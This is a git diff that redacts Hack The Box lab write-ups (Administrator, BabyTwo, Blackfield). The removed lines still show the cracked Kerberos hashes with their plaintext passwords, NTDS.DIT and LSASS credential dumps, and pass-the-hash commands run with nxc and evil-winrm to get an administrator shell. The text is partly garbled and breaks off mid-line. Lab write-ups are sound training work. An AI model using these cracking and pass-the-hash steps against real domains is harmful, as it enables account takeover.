-9f9fa16ed39a2467b12a4f188c4703ca661bdc41d18f2c0f6218165dae7a83e11c5ffda68e153470e0b2a1a7c3ea20cc251ae1cb4020640a54a75bc4e3caa878948cb2fb7f66ba474eaeb76a5e59a5e682f136dd9096d8e87370c44c4706694fd4d81cd8a99ef195fb -182de4e368b14b4d36a7d13f77f4cff440b22d234922defa2793ecc9fcf5695ff51ccbfdb83d69bb473b514823bc6fe7b9a821eba656e99d34edfac8d27f9a121d388002b44afbe38f333551a62afbce61a68d1426bebb460a125961810a7cd6889240c42c4b8b5d72 -ee64a29e4e71c704e4dea2bbcb8daf4e873775157db2c6679437661f994792ad80ca928c5e9a0cd4e852cafa0dfc2e6a01f556e7aec3cb12df8edba6bf792dcb4c0640e14dd3a5e42eaad8f162145afd4379186f9e3fdd93cb7a01ff63614dde5f7fd81a18bb32738b -366114308684d6df6f3fa567db6e0453a581c6dcb1009310b03f0d50cdd574f4e97b60a0d16367694a21231b0003fae4ff5127adc360ce420918f601af8beb31818374850ddd062b88bfd7955f9f57836544df1ab3e9e7db455522d894d238efa24adb9b4985b79414 -5bdffcbadc227768cd700a07c89898dba19ba7c8b1830f4c6af4fcd5100c640129fa2e6abe235ff6bb7279b6d7e9b94caa2d0b6aafab2ddbbc89f45a379d6c106c4407fc8469a91797c2acd198d47a1c35d899243dba00df576b75553149250f96cf3459311c441370 -d1a11ac8ca7359810c08c3c89ca9e2d13bcfc41ad32c248165a81f7233c0dfbdfff3f1d64b8c2be9359522a81215d5eaf95f4f53626388b2e0f5583e371732c705c2033aaf999ead598418f1c5c1062c1cbe0a3ea469f2cef2fcdf3318feec24a5622893f4b6315685 -0e723cbc5b7c6a28bbe9f08642cef0a84d1152dbf9dccd1b0be4deefe426ca7bf95c25bd02bacee574a6081b36d81e3e19352ee0ce3f615c24d39222dce07cb1ba9fe010d3f268a7f133cb8677afdbce464f98576e5c008a2e7c33891096bc05ed1fbb788c6823a2b7 -9e6e3c0a24015263a9fd870b88da8d46f7d36fdf5c64e999d110a4c4ac128545c0f2920b1f09e2e85f188544073ef4c838dc835fd77a4814b7c72b1e40f4dbf11708c7c107da349d5710e33f6bcf9e901986a6568b6ce57d35f09b051388221f9ae312d40f879f61f6 -5b8734b5eaf1e7862c8f1b67afcdcb2f35de15ee6852f245f24a681ec05062c078224de187ceb423ecb80ae891d48b14b3338b11cd70a6eb15578c663fc3cb29137224af08356f531c4210b1e8f68495f859b72d487fa568844356bb9c077880a0c40f5da1928f9c50 -3a07f858bc85fc8ccbd3704be727b71c50806d392cc4027868042b1b6e8e48a7402baf466549cd10f0dce206bfbd45d2cbbd886657be3bfdd1c74e92a2b60ea86548ff93fc29832a2cf60833305e6646a07abee56:limpbizkit +[REDACTED]                                                            Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) -Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....abee56 +[REDACTED] Time.Started.....: Thu Jun  4 02:32:01 2026 (0 secs) Time.Estimated...: Thu Jun  4 02:32:01 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) @@ -951,72 +941,72 @@ Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies   Password: [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets -Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e::: -Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6::: -administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7::: -administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:4d3aa5fca989c0334ba7e2f48e26f79b::: -administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:4d3aa5fca989c0334ba7e2f48e26f79b::: -administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31::: -administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884::: -administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199::: -administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9::: -DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3::: +Administrator:500:[REDACTED]::: +Guest:501:[REDACTED]::: +krbtgt:502:[REDACTED]::: +administrator.htb\olivia:1108:[REDACTED]::: +administrator.htb\michael:1109:[REDACTED]::: +administrator.htb\benjamin:1110:[REDACTED]::: +administrator.htb\emily:1112:[REDACTED]::: +administrator.htb\ethan:1113:[REDACTED]::: +administrator.htb\alexander:3601:[REDACTED]::: +administrator.htb\emma:3602:[REDACTED]::: +DC$:1000:[REDACTED]::: [*] Kerberos keys grabbed -Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664 -Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2 +Administrator:aes256-cts-hmac-sha1-96:[REDACTED] +Administrator:aes128-cts-hmac-sha1-96:[REDACTED] Administrator:des-cbc-md5:403286f7cdf18385 -krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648 -krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94 +krbtgt:aes256-cts-hmac-sha1-96:[REDACTED] +krbtgt:aes128-cts-hmac-sha1-96:[REDACTED] krbtgt:des-cbc-md5:2c0bc7d0250dbfc7 -administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3 -administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48 +administrator.htb\olivia:aes256-cts-hmac-sha1-96:[REDACTED] +administrator.htb\olivia:aes128-cts-hmac-sha1-96:[REDACTED] administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9 -administrator.htb\michael:aes256-cts-hmac-sha1-96:e9337a2048fa0adeddb613a9c2d14caeb9ec9e92e671d9826f55dad6d9246f5c -administrator.htb\michael:aes128-cts-hmac-sha1-96:0f09c39092307b75ccb7f8431891b58b +administrator.htb\michael:aes256-cts-hmac-sha1-96:[REDACTED] +administrator.htb\michael:aes128-cts-hmac-sha1-96:[REDACTED] administrator.htb\michael:des-cbc-md5:d09e45d38abf0207 -administrator.htb\benjamin:aes256-cts-hmac-sha1-96:4651f47cc6ae4c7566ba6fa9878584cde0b359849d8dee8b887313d6586891bc -administrator.htb\benjamin:aes128-cts-hmac-sha1-96:3eeab8b2684736d8e0acddc68dae0211 +administrator.htb\benjamin:aes256-cts-hmac-sha1-96:[REDACTED] +administrator.htb\benjamin:aes128-cts-hmac-sha1-96:[REDACTED] administrator.htb\benjamin:des-cbc-md5:bf029b86cb515d7a -administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4 -administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218 +administrator.htb\emily:aes256-cts-hmac-sha1-96:[REDACTED] +administrator.htb\emily:aes128-cts-hmac-sha1-96:[REDACTED] administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51 -administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f -administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f +administrator.htb\ethan:aes256-cts-hmac-sha1-96:[REDACTED] +administrator.htb\ethan:aes128-cts-hmac-sha1-96:[REDACTED] administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb -administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6 -administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade +administrator.htb\alexander:aes256-cts-hmac-sha1-96:[REDACTED] +administrator.htb\alexander:aes128-cts-hmac-sha1-96:[REDACTED] administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf -administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82 -administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e +administrator.htb\emma:aes256-cts-hmac-sha1-96:[REDACTED] +administrator.htb\emma:aes128-cts-hmac-sha1-96:[REDACTED] administrator.htb\emma:des-cbc-md5:3249fba89813ef5d -DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb -DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d +DC$:aes256-cts-hmac-sha1-96:[REDACTED] +DC$:aes128-cts-hmac-sha1-96:[REDACTED] DC$:des-cbc-md5:f483547c4325492a [*] Cleaning up... ``` -And we got it ! `aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e` +And we got it ! `[REDACTED]` We can just use Pass-The-Hash with the actual useful portion, `3dc533..` : ```bash ->  nxc winrm 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e" +>  nxc winrm 10.129.12.40 -u Administrator -H "[REDACTED]" WINRM       10.129.12.40    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)   -WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!) +WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:[REDACTED] (Pwn3d!) ``` Gotcha. ```PowerShell ->  nxc winrm 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e" +>  nxc winrm 10.129.12.40 -u Administrator -H "[REDACTED]" WINRM       10.129.12.40    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)   -WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!) ->  evil-winrm -i 10.129.12.40 -u Administrator -H ">  nxc winrm 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e" +WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:[REDACTED] (Pwn3d!) +>  evil-winrm -i 10.129.12.40 -u Administrator -H ">  nxc winrm 10.129.12.40 -u Administrator -H "[REDACTED]" WINRM       10.129.12.40    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)   -WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!) +WINRM       10.129.12.40    5985   DC               [+] administrator.htb\Administrator:[REDACTED] (Pwn3d!) ->  evil-winrm -i 10.129.12.40 -u Administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e" +>  evil-winrm -i 10.129.12.40 -u Administrator -H "[REDACTED]" /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems @@ -1031,7 +1021,7 @@ Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplay                                          Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:/Users/Administrator/Desktop/root.txt -6467**********9d8688465298 +[REDACTED] ``` And we got root. diff --git a/BabyTwo HTB [MEDIUM].md b/BabyTwo [MEDIUM].md similarity index 99% rename from BabyTwo HTB [MEDIUM].md rename to BabyTwo [MEDIUM].md index 165b1dc..cbc7de2 100644 --- a/BabyTwo HTB [MEDIUM].md +++ b/BabyTwo [MEDIUM].md @@ -792,7 +792,7 @@ cat user.txt getting file \dev\who.txt of size 24 as who.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) getting file \dev\user.txt of size 32 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) baby2\amelia.griffiths -42783b************5c38% +[REDACTED] ``` And fuck you PowerShell, we got the user flag and the user : amelia.griffiths. @@ -985,7 +985,7 @@ d-r---         8/22/2023  10:08 AM                Public *Evil-WinRM* PS C:\Users> cd /Users/Administrator/Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt -2935009**********5740f9 +[REDACTED] ``` -And rooted ! +And rooted ! \ No newline at end of file diff --git a/Blackfield HTB [HARD].md b/Blackfield [HARD].md similarity index 74% rename from Blackfield HTB [HARD].md rename to Blackfield [HARD].md index 41d92df..dd88b5c 100644 --- a/Blackfield HTB [HARD].md +++ b/Blackfield [HARD].md @@ -411,25 +411,21 @@ We'll `AS-REP roast` the `blackfield_users.txt` userlist with `Impacket`, since and ``` -$krb5asrep$23$support@BLACKFIELD.LOCAL:3c6339c56d3b666cc10c527e458979e0$3a705053390f0682d31ae496b0f6cdcb0d616b3784b77dc214e1f2f1f84430fea3c037d719df7f1dae1e344f469892c9ef5ac3a26234234f8e29233c88df7c30e55d93b899 -d20e244a68144136326a98887cbc74fb2e4d7d9779699dbe71bdeb1768d12347f2212e46b803a48c29b74b8ad9f3a0fc8def0734c99ae9b018a4c73deb82f500e8e4efa637f238aaffeed37ed24e8e8c16123fb4fb14686f2ea56a8707a5eec7f3a873abd94ca5c3cb -b2ecd6297976ead597fae225113806ce0b1cbee5b34c14c95abb3517d7d42b0fe67fa88df76630292b17ee3e88a6509cf85751755ea7837b118e31491cb54758667f61803272 +[REDACTED] [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set` ``` So we got a `Kerberos AS-REP` hash. ```bash ->  printf '$krb5asrep$23$support@BLACKFIELD.LOCAL:3c6339c56d3b666cc10c527e458979e0$3a705053390f0682d31ae496b0f6cdcb0d616b3784b77dc214e1f2f1f84430fea3c037d719df7f1dae1e344f469892c9ef5ac3a26234234f8e29233c88df7c3 -0e55d93b899d20e244a68144136326a98887cbc74fb2e4d7d9779699dbe71bdeb1768d12347f2212e46b803a48c29b74b8ad9f3a0fc8def0734c99ae9b018a4c73deb82f500e8e4efa637f238aaffeed37ed24e8e8c16123fb4fb14686f2ea56a8707a5eec7f3a873a -bd94ca5c3cbb2ecd6297976ead597fae225113806ce0b1cbee5b34c14c95abb3517d7d42b0fe67fa88df76630292b17ee3e88a6509cf85751755ea7837b118e31491cb54758667f61803272' > black.hash +[REDACTED] +[REDACTED] +[REDACTED] >  cat black.hash -$krb5asrep$23$support@BLACKFIELD.LOCAL:3c6339c56d3b666cc10c527e458979e0$3a705053390f0682d31ae496b0f6cdcb0d616b3784b77dc214e1f2f1f84430fea3c037d719df7f1dae1e344f469892c9ef5ac3a26234234f8e29233c88df7c30e55d93b899 -d20e244a68144136326a98887cbc74fb2e4d7d9779699dbe71bdeb1768d12347f2212e46b803a48c29b74b8ad9f3a0fc8def0734c99ae9b018a4c73deb82f500e8e4efa637f238aaffeed37ed24e8e8c16123fb4fb14686f2ea56a8707a5eec7f3a873abd94ca5c3cb -b2ecd6297976ead597fae225113806ce0b1cbee5b34c14c95abb3517d7d42b0fe67fa88df76630292b17ee3e88a6509cf85751755ea7837b118e31491cb54758667f61803272% +[REDACTED] ``` -Since it's a `kerberos AS-REP` for `support` (``$krb5asrep$23$username@...`) we'll use `hashcat -m 18200`. +[REDACTED] ```bash >  hashcat -m 18200 black.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt @@ -487,14 +483,12 @@ Cracking performance lower than expected?                   * Create more work items to make use of your parallelization power:  https://hashcat.net/faq/morework -$krb5asrep$23$support@BLACKFIELD.LOCAL:3c6339c56d3b666cc10c527e458979e0$3a705053390f0682d31ae496b0f6cdcb0d616b3784b77dc214e1f2f1f84430fea3c037d719df7f1dae1e344f469892c9ef5ac3a26234234f8e29233c88df7c30e55d93b899 -d20e244a68144136326a98887cbc74fb2e4d7d9779699dbe71bdeb1768d12347f2212e46b803a48c29b74b8ad9f3a0fc8def0734c99ae9b018a4c73deb82f500e8e4efa637f238aaffeed37ed24e8e8c16123fb4fb14686f2ea56a8707a5eec7f3a873abd94ca5c3cb -b2ecd6297976ead597fae225113806ce0b1cbee5b34c14c95abb3517d7d42b0fe67fa88df76630292b17ee3e88a6509cf85751755ea7837b118e31491cb54758667f61803272:#00^BlackKnight +[REDACTED]                                                            Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) -Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:3c6339c56d3b...803272 +[REDACTED] Time.Started.....: Thu Jun 11 22:00:47 2026 (10 secs) Time.Estimated...: Thu Jun 11 22:00:57 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) @@ -784,9 +778,9 @@ luid 406458                Username: svc_backup                Domain: BLACKFIELD                LM: NA -               NT: 9658d1d1dcd9250115e2205d9f48400d -               SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c -               DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [633ba]==                username svc_backup                domainname BLACKFIELD @@ -795,8 +789,8 @@ luid 406458        == Kerberos ==                Username: svc_backup                Domain: BLACKFIELD.LOCAL -               AES128 Key: 9658d1d1dcd9250115e2205d9f48400d -               AES256 Key: 20a3e879a3a0ca4f51db1e63514a27ac18eef553d8f30c29805c398c97599e91 +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [633ba]==                username svc_backup                domainname BLACKFIELD @@ -816,9 +810,9 @@ luid 365835                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [5950b]==                username DC01$                domainname BLACKFIELD @@ -827,14 +821,14 @@ luid 365835        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [5950b]==                username DC01$                domainname BLACKFIELD @@ -854,9 +848,9 @@ luid 365493                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [593b5]==                username DC01$                domainname BLACKFIELD @@ -865,14 +859,14 @@ luid 365493        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [593b5]==                username DC01$                domainname BLACKFIELD @@ -905,9 +899,9 @@ luid 153705                Username: Administrator                Domain: BLACKFIELD                LM: NA -               NT: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62 -               SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368 -               DPAPI: 240339f898b6ac4ce3f34702e4a8955000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [25869]==                username Administrator                domainname BLACKFIELD @@ -916,8 +910,8 @@ luid 153705        == Kerberos ==                Username: Administrator                Domain: BLACKFIELD.LOCAL -               AES128 Key: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62 -               AES256 Key: ec841e1e29ad7d6332a243b6b4ab445839829244408269850ab7c78a2cf45615 +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [25869]==                username Administrator                domainname BLACKFIELD @@ -926,8 +920,8 @@ luid 153705        == DPAPI [25869]==                luid 153705                key_guid d1f69692-cfdc-4a80-959e-bab79c9c327e -               masterkey 769c45bf7ceb3c0e28fb78f2e355f7072873930b3c1d3aef0e04ecbb3eaf16aa946e553007259bf307eb740f222decadd996ed660ffe648b0440d84cd97bf5a5 -               sha1_masterkey d04452f8459a46460939ced67b971bcf27cb2fb9 +               masterkey [REDACTED] +               sha1_masterkey [REDACTED] == LogonSession == authentication_id 137110 (21796) @@ -968,9 +962,9 @@ luid 40310                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [9d76]==                username DC01$                domainname BLACKFIELD @@ -979,14 +973,14 @@ luid 40310        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [9d76]==                username DC01$                domainname BLACKFIELD @@ -1006,9 +1000,9 @@ luid 40232                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [9d28]==                username DC01$                domainname BLACKFIELD @@ -1017,14 +1011,14 @@ luid 40232        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: eee13fce940cce15b93edd7b2506c9d5a8fec62fc13c8fa3723c3da603960c44 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [9d28]==                username DC01$                domainname BLACKFIELD @@ -1044,9 +1038,9 @@ luid 996                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [3e4]==                username DC01$                domainname BLACKFIELD @@ -1055,14 +1049,14 @@ luid 996        == Kerberos ==                Username: dc01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: ae7032a985fe7303c182f82d15df15b1ccf731c7f33947e3bd2f193d12d9d684 +[REDACTED] +[REDACTED] +[REDACTED] +               password (hex)[REDACTED] +[REDACTED] +[REDACTED] +               AES128 Key: [REDACTED] +               AES256 Key: [REDACTED]        == WDIGEST [3e4]==                username DC01$                domainname BLACKFIELD @@ -1082,9 +1076,9 @@ luid 24410                Username: DC01$                Domain: BLACKFIELD                LM: NA -               NT: b624dc83a27cc29da11d9bf25efea796 -               SHA1: 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d -               DPAPI: 0000000000000000000000000000000000000000 +               NT: [REDACTED] +               SHA1: [REDACTED] +               DPAPI: [REDACTED]        == WDIGEST [5f5a]==                username DC01$                domainname BLACKFIELD @@ -1093,14 +1087,14 @@ luid 24410        == Kerberos ==                Username: DC01$                Domain: BLACKFIELD.local -               Password: 260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d004800 -3a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a0028 -00620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               password (hex)260053005900560045002b003c0079006e007500600051006c003b00670076004500450021006600240044006f004f00300046002b002c006700500040005000600066007200610060007a0034002600470033004b0027006d00 -48003a00260027004b005e0053005700240046004e0057005700780037004a002d004e0024005e00270062007a004200310044007500630033005e0045007a005d0045006e0020006b00680060006200270059005300560037004d006c00230040004700330040002a -002800620024005d006a00250023004c005e005b00510060006e004300500027003c0056006200300049003600 -               AES128 Key: b624dc83a27cc29da11d9bf25efea796 -               AES256 Key: 